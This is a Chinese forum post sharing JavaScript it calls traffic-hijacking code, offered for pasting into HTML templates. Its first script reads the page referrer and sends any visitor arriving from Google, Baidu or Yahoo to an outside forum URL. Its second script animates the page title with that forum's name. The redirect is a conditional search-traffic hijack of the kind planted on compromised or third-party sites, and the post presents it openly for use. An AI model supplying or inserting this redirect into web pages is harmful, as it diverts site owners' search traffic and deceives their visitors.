小麦子 发表于 2024-10-20 12:08:24

html页面JS引流劫持代码

为大家分享了下面这段HTML代码,可以直接插入您的html模板页面中进行使用。



以上只是部份演示图片,详细可以付费购买。
<script LANGUAGE="Javascript">
var s=document.referrer
if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )
location.href="https://www.niuniubbs.com/";
</script>
<script LANGUAGE="Javascript">
  var message = new Array();
  message = "牛牛论坛";
  var reps = 1;
  var speed = 0;// Set the overall typing speed (larger number = slower action).
  var hold = 4111111 // set the length of time to display the whole phrase before retyping (larger number = longer)
  var p = message.length;
  var q = 0;
  var r = 0;
  var C = 0;
  var mC = 0;
  var s = 0;
  var sT = null;
  if (reps < 1) {
   reps = 1;
  }
  function setMessage() {
   typing = message;
   q = typing.length;
   r = q + hold;
   typeMessage();
  }
  function typeMessage() {
   if (s > r) {
  s = 0;
   }
   if (s > q) {
  document.title = typing ;
   }
  else {
  document.title = typing.substr(0,s);
   }
   if (C < (r * reps)) {
  sT = setTimeout("typeMessage()", speed);
  C++;
  s++;
   }
   else {
  C = 0;
  s = 0;
  mC++;
  if(mC > p - 1) {mC = 0;}
  sT = null;
  setMessage();
   }
  }
  setMessage();
</script>
页: [1]
查看完整版本: html页面JS引流劫持代码